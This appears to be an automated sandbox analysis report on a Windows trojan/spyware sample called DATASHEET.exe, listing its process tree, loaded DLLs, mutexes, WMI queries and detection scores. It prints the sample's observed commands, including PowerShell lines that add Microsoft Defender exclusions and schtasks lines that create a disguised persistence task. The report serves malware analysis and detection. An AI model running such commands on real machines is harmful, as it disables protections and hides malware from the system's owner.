Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, l50VLEll22.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DATASHEET.exe.3d32700.2.raw.unpack, l50VLEll22.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	Security API names: _0020.SetAccessControl
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	Security API names: _0020.AddAccessRule
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	Security API names: _0020.SetAccessControl
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, AMPI2OQw9LBFRkO0xI.cs	Security API names: _0020.AddAccessRule
Source: 0.2.DATASHEET.exe.3f39880.1.raw.unpack, I8scn9C6GIjEcHxArD.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DATASHEET.exe.7dc0000.5.raw.unpack, I8scn9C6GIjEcHxArD.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/15@3/2

Source: C:\Users\user\Desktop\DATASHEET.exe

File created: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7684:120:WilError_03
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Mutant created: \Sessions\1\BaseNamedObjects\fyIiVTsBeTQzqZfnDAGAyEefieZ
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5264:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03

Source: C:\Users\user\Desktop\DATASHEET.exe

File created: C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp

Jump to behavior

Source: DATASHEET.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: DATASHEET.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\DATASHEET.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DATASHEET.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DATASHEET.exe	ReversingLabs: Detection: 55%
Source: DATASHEET.exe	Virustotal: Detection: 47%

Source: C:\Users\user\Desktop\DATASHEET.exe

File read: C:\Users\user\Desktop\DATASHEET.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\DATASHEET.exe "C:\Users\user\Desktop\DATASHEET.exe"
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp9C6E.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\DATASHEET.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp8AFA.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\jwvzGqkYNEejno" /XML "C:\Users\user\AppData\Local\Temp\tmp9C6E.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\jwvzGqkYNEejno.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
